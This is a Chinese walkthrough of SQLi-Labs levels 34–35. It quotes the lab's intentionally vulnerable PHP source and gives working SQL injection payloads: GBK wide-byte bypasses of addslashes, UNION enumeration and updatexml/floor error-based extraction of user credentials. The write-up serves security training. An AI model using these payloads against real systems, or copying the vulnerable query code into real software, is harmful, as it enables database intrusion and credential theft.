SQL-Labs靶场“34-35”关通关教程

君衍.

  • 一、34关 POST单引号宽字节注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入
    • 4、floor报错注入
  • 二、35关 GET数字型报错注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、updatexml报错注入
    • 4、floor报错注入

SQL-Labs靶场通关教程:

SQL注入第一课

  • SQL注入思路基础

SQL无列名注入

  • SQL注入绕过正则及无列名注入

SQL报错注入原理

  • SQL报错注入

简单的SQL练习,联合注入、报错注入

  • 1、SQL-Labs靶场“1-5”关通关教程
  • 2、SQL-Labs靶场“6-10”关通关教程

POST提交方式注入

  • 3、SQL-Labs靶场“11-15”关通关教程

HTTP头部注入

  • 4、SQL-Labs靶场“15-20”关通关教程

二次注入

  • 5、SQL-Labs靶场“21-25”关通关教程
  • threehit二次注入案例

一些绕过案例

  • 6、SQL-Labs靶场“26-28”关通关教程

HTTP参数污染攻击

  • 7、SQL-Labs靶场“29-31”关通关教程

一、34关 POST单引号宽字节注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘$uname’

本关其实与33关相似,只是使用POST进行传参,过滤方法与33关一致,所以解法也差不多,首先我们依旧是进行测试查看回显:
在这里插入图片描述
可以看到uname以及passwd都进行了过滤,所以我们其实依旧可以使用宽字节注入,下面查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname1=$_POST['uname'];
	$passwd1=$_POST['passwd'];
        //echo "username before addslashes is :".$uname1 ."<br>";
        //echo "Input password before addslashes is : ".$passwd1. "<br>";
	//logging the connection parameters to a file for analysis.
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Name:'.$uname1);
	fwrite($fp,'Password:'.$passwd1."\n");
	fclose($fp);
        $uname = addslashes($uname1);
        $passwd= addslashes($passwd1);
        //echo "username after addslashes is :".$uname ."<br>";
        //echo "Input password after addslashes is : ".$passwd;
	// connectivity 
	mysqli_query($con1, "SET NAMES gbk");
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
		···
		echo 'Your Login name:'. $row['username'];
		···
		echo 'Your Password:' .$row['password'];
		···
  	}
	else  
	{
		···
		//echo "Try again looser";
		print_r(mysqli_error($con1));
		···
	}
}
?>

这里我们只需要看以下代码:

$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

使用 addslashes 函数对用户名和密码进行转义处理。剩下的代码与第32关相同。依旧是查询到的话输出查询到的信息,查不到的话输出报错信息,所以联合查询以及报错注入依旧可以尝试使用。
在这里插入图片描述
所以我们使用Burp抓包进行测试,抓包发送到重发器中完成注入。

2、联合查询注入

1、猜字段数

uname=1%df' order by 3#&passwd=1&submit=Submit

在这里插入图片描述
我们可以看到没有第三列,所以我们为2列。

2、测试观察回显内容

uname=-1%df' union select 1,2#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库中所有表的名称

uname=-1%df' union select  1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=1&submit=Submit

在这里插入图片描述

4、爆出数据库中表的列名

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656D61696C73#&passwd=1&submit=Submit

在这里插入图片描述
同样的,上面是使用十六进制进行查询,下面我们使用子查询进行查询。

uname=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)#&passwd=1&submit=Submit

在这里插入图片描述

5、爆出数据

uname=-1%df' union select 1,group_concat(id,0x3a,email_id) from emails#&passwd=1&submit=Submit

在这里插入图片描述
下面我们看users表中的内容。

uname=-1%df' union select 1,group_concat(id,username,0x3a,password) from users#&passwd=1&submit=Submit

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出该数据库名

uname=1%df' and updatexml(1,concat(0x7e,database(),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出该数据库中的所有表名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出数据库中表,表名下的列名

uname=1%df' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
同样的,当limit为3,1时,我们就可查询出users表中的列名。

4、爆出users表中的数据

uname=1%df' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出当前数据库名

uname=1%df' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

2、爆出当前数据库下的所有表名

uname=1%df' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

3、爆出当前数据库表名下的列名

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述

uname=1%df' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&passwd=1&submit=Submit

即可查出users表的列名。

4、爆出数据

uname=1%df' or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)#&passwd=1&submit=Submit

在这里插入图片描述
即可完成floor报错注入。

二、35关 GET数字型报错注入

请求方式注入类型拼接方式
GET联合、报错、布尔盲注、延时盲注id=$id

同样的,使用1单引号进行测试:
在这里插入图片描述
可以看到直接报了错,我们使用1进行尝试发现可以查询成功:
在这里插入图片描述
同时我们使用宽字节注入测试即可看到:
在这里插入图片描述
我们便可以猜测是闭合方式不是单引号,测试其他依旧相同,所以我们查看源码。

1、源码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
function check_addslashes($string)
{
    $string = addslashes($string);
    return $string;
}
// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
mysqli_query($con1, "SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
	if($row)
	{
  	echo 'Your Login name:'. $row['username'];
  	echo 'Your Password:' .$row['password'];
  	}
	else 
	{
	print_r(mysqli_error($con1));
	}
}
	else { echo "Please input the ID as parameter with numeric value";}
?>

源码发现和35关差不多,依旧是使用addslashes来进行过滤,但是本关其实挺搞笑的,闭合方式直接不加,使用数字型,所以不用使用宽字节注入,我们只需要不适用单引号、双引号、反斜线就行。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

所以我们下面注入就正常注入,不适用单双引号就行。

1、猜字段

?id=1 order by 4--+
?id=1 order by 3--+

在这里插入图片描述
在这里插入图片描述

2、测试观察回显

?id=-1 union select 1,2,3--+

在这里插入图片描述

3、爆出该数据库下的所有表名称

?id=-1 union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述

4、爆出表的列名

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x656D61696C73--+

在这里插入图片描述
使用16进制进行查询,下面使用子查询:

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+

在这里插入图片描述

5、爆出数据

?id=-1 union select 1,group_concat(id,username,0x3a,password),3 from users--+

在这里插入图片描述
即可完成注入。

3、updatexml报错注入

1、爆出当前数据库名称

?id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

2、爆出该数据库下的所有表名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+

在这里插入图片描述

3、爆出数据库表下的列名

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)--+

在这里插入图片描述

4、爆出数据

?id=1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+

在这里插入图片描述
即可完成updatexml报错注入。

4、floor报错注入

1、爆出数据库名

?id=1 or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

2、爆出数据库名下的表名

?id=1 or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

3、爆出当前数据库表下的列名

?id=1 or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = (select table_name from information_schema.tables where table_schema=database() limit 0,1) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

在这里插入图片描述

4、爆出数据

?id=1 or (select 1 from (select count(*),concat((select concat(username,0x3a,password)from users limit 0,1),floor(rand(0)*2))x from users group by x)a)--+

在这里插入图片描述
即可完成floor报错注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/482551.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

TWT:一个让WiFi6更省电的特性

更多精彩内容在公众号。 再wifi6前&#xff0c;已经有了不少节能特性&#xff1a;PSM,PSMP,APSD。在一个 Beacon 周期内&#xff0c;终端 会观察 AP 是否会向其发送数据&#xff0c;如果是&#xff0c;那么终端就保持等待&#xff0c;直到接收完成后&#xff0c; 才会进入休眠模…

【C语言】动态内存分配

1、为什么要有动态内存分配 不管是C还是C中都会大量的使用&#xff0c;使用C/C实现数据结构的时候&#xff0c;也会使用动态内存管理。 我们已经掌握的内存开辟方式有&#xff1a; int val 20; //在栈空间上开辟四个字节 char arr[10] { 0 }; //在栈空间…

Yocto学习笔记1-下载与首次编译

Yocto学习笔记1-下载与首次编译 1、基础环境介绍2、注意点3、安装依赖3.1 yocto常规系统构建所需依赖库&#xff08;较全&#xff09;3.2 龙芯适配时的最小依赖库&#xff08;最小&#xff09; 4、下载4.1 通过git克隆4.2 查看所有远程分支4.3 签出一个长期支持的稳定版本4.4 查…

leetcode 15.三数之和 JAVA 双指针法

题目 思路 双指针法 去重 为啥要去重呢&#xff1f;因为题目中说了要返回不重复的三元组。拿示例1来看&#xff0c;&#xff08;-1&#xff0c;0&#xff0c;1&#xff09;和&#xff08;0&#xff0c;1&#xff0c;-1&#xff09;虽然都等于0&#xff0c;但其实它们里面的数…

【python_往企业微信群中发送文件】

python_往企业微信群中发送文件 这个是用企业微信群机器人的功能&#xff0c;没有用到后台应用。群机器人 #-*- coding:utf-8-* import requests#类型&#xff1a;voice,file file_type"file" file_path"D:\desktop\不过.jpg" webhookkey"xxxx"#…

ShuffleNet模型详解

ShuffleNet论文地址&#xff1a;1707.01083.pdf (arxiv.org) ShuffleNetv2论文地址&#xff1a;1807.11164.pdf (arxiv.org) ShuffleNetv1 简介 ShuffleNet 是专门为计算能力非常有限的移动设备设计的。架构采用了逐点分组卷积和通道shuffle两种新的运算&#xff0c;在保持…

【异或】Leetcode 136. 只出现一次的数字

【异或】Leetcode 136. 只出现一次的数字 解法1 只需要全部异或一下&#xff0c;剩下的就是剩下的元素 ---------------&#x1f388;&#x1f388;题目链接 136. 只出现一次的数字&#x1f388;&#x1f388;------------------- 解法1 只需要全部异或一下&#xff0c;剩下的…

Fast-R-CNN论文笔记

目标检测之Fast R-CNN论文精讲&#xff0c;Fast RCNN_哔哩哔哩_bilibili 一 引言 1.1 R-CNN和SPPNet缺点 &#x1f600;R-CNN Training is a multi-stage pipeline 多阶段检测器&#xff08;两阶段和一阶段检测器&#xff09; 1️⃣首先训练了一个cnn用来提取候选区域的特征…

深入浅出Reactor和Proactor模式

Reactor模式和Proactor模式是两种常见的设计模式&#xff0c;用于处理事件驱动的并发编程。它们在处理IO操作时有着不同的工作方式和特点。 对于到来的IO事件&#xff08;或是其他的信号/定时事件&#xff09;&#xff0c;又有两种事件处理模式&#xff1a; Reactor模式&…

jupyter | 查询/列出available kernels

jupyter kernelspec list 添加kernel python -m ipykernel install --user --name 虚拟环境名 --display-name 在jupyter中显示的环境名称 移除kernel jupyter kernelspec remove 环境名

部标JT808车辆定位监控平台单服务器13.6万接入压力测试记录(附源码)

之前经常有人问平台能支持多少设备同时在线&#xff0c;由于事情多没时间做。最近刚好有机会做下压力测试。在不间断的连续压测三天&#xff0c;最终结果为13.6万TCP连接&#xff0c;30秒上报频率。 一、测试目的 测试平台同时接入设备数量与并发处理能力。 二、准备环境 一…

javaweb--JavaScript

一&#xff1a;简介 JavaScript 是一门跨平台、面向对象的脚本语言 &#xff0c;用来控制网页行为的&#xff0c;它能使网页可交互 JavaScript 和 Java 是完全不同的语言&#xff0c;不论是概念还是设计&#xff0c;只是名字比较像而已&#xff0c;但是基础语法类似 JavaScri…

揭秘国产龙蜥OS操作系统:高效学习之路等你开启!

介绍&#xff1a;Anolis OS是一个完全开源、中立且开放的Linux发行版&#xff0c;专为多种计算场景设计&#xff0c;特别适合云端环境。 Anolis OS的推出旨在为广大开发者和运维人员提供一个稳定、高性能、安全、可靠且开源的操作系统服务。以下是Anolis OS的几个重要特点&…

mysql80-DBA数据库学习1

掌握能力 核心技能 核心技能 mysql部署 官网地址www.mysql.com 或者www.oracle.com https://dev.mysql.com/downloads/repo/yum/ Install the RPM you downloaded for your system, for example: yum install mysql80-community-release-{platform}-{version-number}.noarch…

window10系统~如何关闭电脑的防火墙?

电脑桌面左下角选择放大镜&#xff0c;搜索&#xff1a;防火墙2. 点击【防火墙和网络保护】 3. 把下面三个地方都关闭掉&#xff1a; 点击【域网络】&#xff0c;关闭如下按钮&#xff1a; 再返回到上层&#xff0c;如下的界面&#xff1a; 用上面相同的方法&#xff0c;依…

阿里云有免费服务器吗?有的,附送免费服务器申请流程

阿里云服务器免费试用申请链接入口&#xff1a;aliyunfuwuqi.com/go/free 阿里云个人用户和企业用户均可申请免费试用&#xff0c;最高可以免费使用3个月&#xff0c;阿里云服务器网分享阿里云服务器免费试用申请入口链接及云服务器配置&#xff1a; 阿里云免费服务器领取 阿里…

APP测试中ios和androis的区别,有哪些注意点

目录 一、运行机制不同 二、对app内存消耗处理方式不同 三、后台制度不同 四、最高权限指令不同 五、推送机制不同 六、抓取方式不同 七、灰度发版机制不同 八、审核机制不同 一、运行机制不同 IOS采用的是沙盒运行机制&#xff0c;安卓采用的是虚拟机运行机制。 1、…

[套路] 浏览器引入Vue.js场景-WangEditor富文本编辑器的使用 (永久免费)

系列文章目录 [套路] el-table 多选属性实现单选效果[套路] 基于服务内存实现的中文拼音混合查询[套路] Bypass滑块验证码 目录 系列文章目录前言一、实现1.1 场景1.2 Window对象简介1.3 引入WangEditor1.4 页面配置 前言 公司使用freemarker的老旧SpringBootWeb后台项目, 前…

RPG Maker MV 踩坑九 场景和窗口问题

RPG Maker MV 踩坑九 场景和窗口问题 启言场景窗口场景和窗口问题战斗场景 启言 在RPG Maker MV中使用的语言是JavaScript作为脚本语言&#xff0c;在HTML中的Canvas画布上进行绘制图像及交互行为。 在游戏中能够感知到的最大的容器是场景,往下就是各种用于菜单操作的窗口&…

通过nginx配置文件服务器(浏览器访问下载)

配置服务器端文件下载和展示(Nginx) nginx.conf文件中增加配置&#xff0c;然后浏览器里访问ip:port回车即可 server { listen port; server_name 服务端ip; # 指定文件下载目录的路径 location / { # 使用root指令来设置文件的根目录 # Nginx会在该目录下寻找相对于loca…